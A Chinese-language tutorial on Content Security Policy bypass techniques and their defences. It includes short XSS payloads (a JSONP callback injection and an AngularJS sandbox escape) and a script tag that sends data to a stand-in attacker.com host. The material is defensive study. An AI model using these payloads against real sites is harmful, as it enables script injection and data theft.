CSP(内容安全策略)绕过技术分析与防护
字数 1881 2025-11-24 08:00:26
CSP(内容安全策略)绕过技术分析与防护
1. 知识点描述
CSP(内容安全策略)是一种通过HTTP响应头(如Content-Security-Policy)定义的网络安全机制,用于限制页面可以加载或执行的资源(如脚本、样式、图片等),从而减少XSS等攻击的影响。但若配置不当或存在漏洞,攻击者可能通过多种技术绕过CSP防护。
2. CSP的核心机制与常见指令
在讲解绕过技术前,需先理解CSP的基本配置逻辑:
- 指令示例:
default-src 'self':默认仅允许同源资源。script-src 'self' https://trusted.com:允许同源和指定域的脚本。style-src 'unsafe-inline':允许内联样式(存在风险)。
- 特殊关键字:
'none':禁止任何资源。'unsafe-inline':允许内联脚本/样式(常见绕过突破口)。'unsafe-eval':允许动态代码执行(如eval())。
3. CSP绕过技术分类与原理
3.1 利用脚本允许列表中的不安全域
- 场景:若配置包含
script-src 'self' https://example.com,且example.com存在JSONP接口或开放上传功能。 - 绕过方法:
- 攻击者上传恶意脚本至
example.com(如通过用户头像上传功能)。 - 通过
<script src="https://example.com/attacker.js">加载恶意脚本。
- 攻击者上传恶意脚本至
- 根本原因:信任域的控制不严格。
3.2 利用JSONP回调函数执行代码
- 原理:JSONP接口通过回调函数名动态返回JS代码,如
?callback=alert(1)可能生成alert(1)(data)。 - 步骤:
- 发现允许域中存在JSONP接口(如
trusted.com/api?callback=foo)。 - 构造恶意回调参数:
?callback=alert(1);//,使返回内容变为可执行代码。
- 发现允许域中存在JSONP接口(如
- 防护关键:严格验证回调函数名格式(如仅允许字母数字)。
3.3 绕过strict-dynamic与nonce机制
- 背景:为兼容旧浏览器,CSP可能同时使用nonce和允许列表(如
script-src 'nonce-abc' 'self')。 - 绕过方法:
- 通过DOM型XSS注入
<base>标签,修改后续脚本的加载路径。 - 利用允许列表中的域加载恶意脚本,绕过nonce检查。
- 通过DOM型XSS注入
- 防护建议:避免混合使用
strict-dynamic与允许列表。
3.4 利用CSP报告机制窃取数据
- 场景:配置了
report-uri /csp-report时,浏览器会将违规行为POST到指定端点。 - 攻击步骤:
- 诱导用户访问包含大量违规请求的页面(如多次尝试加载
<script src="http://attacker.com/?leak=data">)。 - 在CSP报告中,违规URL可能包含敏感信息(如CSRF Token),通过报告渠道泄露给攻击者。
- 诱导用户访问包含大量违规请求的页面(如多次尝试加载
- 防护:确保报告端点不处理敏感参数。
4. 进阶绕过案例:AngularJS与CSP的博弈
- 特殊场景:若页面使用AngularJS且CSP允许
unsafe-eval。 - 原理:AngularJS的表达式解析(如
{{1+1}})依赖eval类功能,攻击者可构造恶意表达式执行任意代码。 - 示例Payload:
<div ng-app> {{$eval.constructor('alert(1)')()}} </div> - 防护:禁止
unsafe-eval并使用CSP非兼容框架(如React)。
5. 防护策略总结
- 最小化允许列表:仅信任必要域,避免使用
unsafe-inline/unsafe-eval。 - 使用nonce或hash:通过
script-src 'nonce-abc'或script-src 'sha256-...'精确控制内联脚本。 - 隔离JSONP接口:将JSONP域与脚本允许列表分离。
- 启用
strict-dynamic:现代浏览器中可动态信任由已授权脚本加载的后续脚本。 - 监控CSP报告:分析违规行为,及时调整策略。
6. 实战检测流程
- 检查CSP头是否包含过高权限指令(如
unsafe-inline)。 - 测试允许域中是否存在可控制子域或开放功能(如文件上传)。
- 尝试通过AngularJS等框架特性绕过限制。
- 验证报告机制是否可能泄露数据。
通过以上分析,可全面理解CSP的潜在弱点,并采取针对性防护措施。